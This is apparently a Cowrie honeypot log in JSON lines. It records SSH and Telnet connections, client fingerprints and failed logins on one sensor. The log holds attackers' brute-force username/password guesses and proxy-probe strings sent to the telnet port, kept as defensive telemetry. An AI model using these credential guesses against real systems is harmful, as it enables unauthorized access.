{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:54.748836Z","src_ip":"27.71.230.31","session":"a19709f0cc19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:55.244525Z","src_ip":"161.132.50.236","session":"44b317103719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42370,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54ec6738234","protocol":"telnet","message":"New connection: 128.199.8.54:42370 (159.203.135.109:23) [session: a54ec6738234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:04.028784Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50154,"dst_ip":"159.203.135.109","dst_port":23,"session":"52dd1e0a5e5e","protocol":"telnet","message":"New connection: 172.81.62.90:50154 (159.203.135.109:23) [session: 52dd1e0a5e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:15.582485Z"}
{"eventid":"cowrie.session.closed","duration":54.90015387535095,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:25.526214Z","src_ip":"128.199.8.54","session":"9bbb3e36e70f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":59008,"dst_ip":"159.203.135.109","dst_port":22,"session":"121f64710903","protocol":"ssh","message":"New connection: 80.94.92.168:59008 (159.203.135.109:22) [session: 121f64710903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:46.456008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:46.654498Z","src_ip":"80.94.92.168","session":"121f64710903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:46.658556Z","src_ip":"80.94.92.168","session":"121f64710903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3017053604126,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:48.330354Z","src_ip":"128.199.8.54","session":"a54ec6738234","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:48.423180Z","src_ip":"80.94.92.168","session":"121f64710903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:49.904500Z","src_ip":"80.94.92.168","session":"121f64710903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51036,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b4fb8c504d","protocol":"ssh","message":"New connection: 103.77.175.15:51036 (159.203.135.109:22) [session: 01b4fb8c504d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:54.513420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:54.521165Z","src_ip":"103.77.175.15","session":"01b4fb8c504d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:54.774282Z","src_ip":"103.77.175.15","session":"01b4fb8c504d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17021981","message":"login attempt [root/17021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:55.537189Z","src_ip":"103.77.175.15","session":"01b4fb8c504d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:56.793146Z","src_ip":"103.77.175.15","session":"01b4fb8c504d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.34375858306885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:56.926060Z","src_ip":"172.81.62.90","session":"52dd1e0a5e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":50000,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2088bf829fb","protocol":"telnet","message":"New connection: 123.58.209.112:50000 (159.203.135.109:23) [session: b2088bf829fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:58.302026Z"}
{"eventid":"cowrie.session.closed","duration":0.00561976432800293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:58.307433Z","src_ip":"123.58.209.112","session":"b2088bf829fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":50006,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbd32073ec0e","protocol":"telnet","message":"New connection: 123.58.209.112:50006 (159.203.135.109:23) [session: dbd32073ec0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:58.739938Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46794,"dst_ip":"159.203.135.109","dst_port":23,"session":"f38d026893cb","protocol":"telnet","message":"New connection: 128.199.8.54:46794 (159.203.135.109:23) [session: f38d026893cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:25:59.128812Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47430,"dst_ip":"159.203.135.109","dst_port":23,"session":"88cd9365dc80","protocol":"telnet","message":"New connection: 128.199.8.54:47430 (159.203.135.109:23) [session: 88cd9365dc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:00.163683Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59450,"dst_ip":"159.203.135.109","dst_port":22,"session":"d76337eb6e40","protocol":"ssh","message":"New connection: 27.71.230.31:59450 (159.203.135.109:22) [session: d76337eb6e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:09.404441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:10.082524Z","src_ip":"27.71.230.31","session":"d76337eb6e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:10.086134Z","src_ip":"27.71.230.31","session":"d76337eb6e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.25672173500061,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:16.996536Z","src_ip":"123.58.209.112","session":"dbd32073ec0e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kings@Group@1994","message":"login attempt [root/Kings@Group@1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:17.016632Z","src_ip":"27.71.230.31","session":"d76337eb6e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":53350,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebfa5384169","protocol":"telnet","message":"New connection: 123.58.209.112:53350 (159.203.135.109:23) [session: cebfa5384169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:17.218495Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:17.229144Z","src_ip":"123.58.209.112","session":"cebfa5384169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.155.105","src_port":52062,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f45fde3f780","protocol":"telnet","message":"New connection: 199.45.155.105:52062 (10.17.0.5:23) [session: 2f45fde3f780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:17.386132Z"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:21.345913Z","src_ip":"27.71.230.31","session":"d76337eb6e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.488942623138428,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:32.874936Z","src_ip":"199.45.155.105","session":"2f45fde3f780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.446279287338257,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.664663Z","src_ip":"123.58.209.112","session":"cebfa5384169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":34392,"dst_ip":"159.203.135.109","dst_port":23,"session":"897fc76cb92d","protocol":"telnet","message":"New connection: 123.58.209.112:34392 (159.203.135.109:23) [session: 897fc76cb92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.868867Z"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"TERMINAL-TYPE","option_byte":24,"message":"Telnet WILL TERMINAL-TYPE","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.872891Z","src_ip":"123.58.209.112","session":"897fc76cb92d","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"UNKNOWN-25","option_byte":25,"message":"Telnet WILL UNKNOWN-25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.874938Z","src_ip":"123.58.209.112","session":"897fc76cb92d","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"UNKNOWN-25","option_byte":25,"message":"Telnet DO UNKNOWN-25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.877384Z","src_ip":"123.58.209.112","session":"897fc76cb92d","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"BINARY","option_byte":0,"message":"Telnet WILL BINARY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.879357Z","src_ip":"123.58.209.112","session":"897fc76cb92d","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"BINARY","option_byte":0,"message":"Telnet DO BINARY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:35.881814Z","src_ip":"123.58.209.112","session":"897fc76cb92d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.155.105","src_port":48650,"dst_ip":"10.17.0.5","dst_port":23,"session":"070f6a09e1c1","protocol":"telnet","message":"New connection: 199.45.155.105:48650 (10.17.0.5:23) [session: 070f6a09e1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:37.314989Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":55466,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7795659eed6","protocol":"ssh","message":"New connection: 161.132.50.236:55466 (159.203.135.109:22) [session: c7795659eed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:39.454003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:39.458951Z","src_ip":"161.132.50.236","session":"c7795659eed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:39.547401Z","src_ip":"161.132.50.236","session":"c7795659eed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.52527117729187,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:39.653968Z","src_ip":"128.199.8.54","session":"f38d026893cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1984","message":"login attempt [root/1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:39.933797Z","src_ip":"161.132.50.236","session":"c7795659eed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:41.025496Z","src_ip":"161.132.50.236","session":"c7795659eed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8670194149017334,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:41.181863Z","src_ip":"199.45.155.105","session":"070f6a09e1c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.155.105","src_port":60246,"dst_ip":"10.17.0.5","dst_port":23,"session":"984972e07cb3","protocol":"telnet","message":"New connection: 199.45.155.105:60246 (10.17.0.5:23) [session: 984972e07cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:44.659110Z"}
{"eventid":"cowrie.session.closed","duration":45.99186325073242,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:46.155412Z","src_ip":"128.199.8.54","session":"88cd9365dc80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41480,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cca63eab412","protocol":"telnet","message":"New connection: 94.23.66.112:41480 (10.17.0.5:23) [session: 8cca63eab412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:51.414629Z"}
{"eventid":"cowrie.session.closed","duration":18.23225450515747,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:54.101001Z","src_ip":"123.58.209.112","session":"897fc76cb92d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":36212,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f09ebfed9dd","protocol":"telnet","message":"New connection: 123.58.209.112:36212 (159.203.135.109:23) [session: 0f09ebfed9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:54.314553Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:54.319508Z","src_ip":"123.58.209.112","session":"0f09ebfed9dd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6","password":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","message":"login attempt [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:54.323119Z","src_ip":"123.58.209.112","session":"0f09ebfed9dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.067769765853882,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:26:57.726786Z","src_ip":"199.45.155.105","session":"984972e07cb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.227131366729736,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:12.541574Z","src_ip":"123.58.209.112","session":"0f09ebfed9dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.112","src_port":54606,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfa635f43c5b","protocol":"telnet","message":"New connection: 123.58.209.112:54606 (159.203.135.109:23) [session: bfa635f43c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:12.754120Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'","password":"github.com\u0000PGET / HTTP/1.0","message":"login attempt [b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'/github.com\u0000PGET / HTTP/1.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:12.758606Z","src_ip":"123.58.209.112","session":"bfa635f43c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac54cccd6303","protocol":"ssh","message":"New connection: 89.223.69.22:37268 (10.17.0.5:22) [session: ac54cccd6303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:15.835665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:27:15.840608Z","src_ip":"89.223.69.22","session":"ac54cccd6303","protocol":"ssh"}
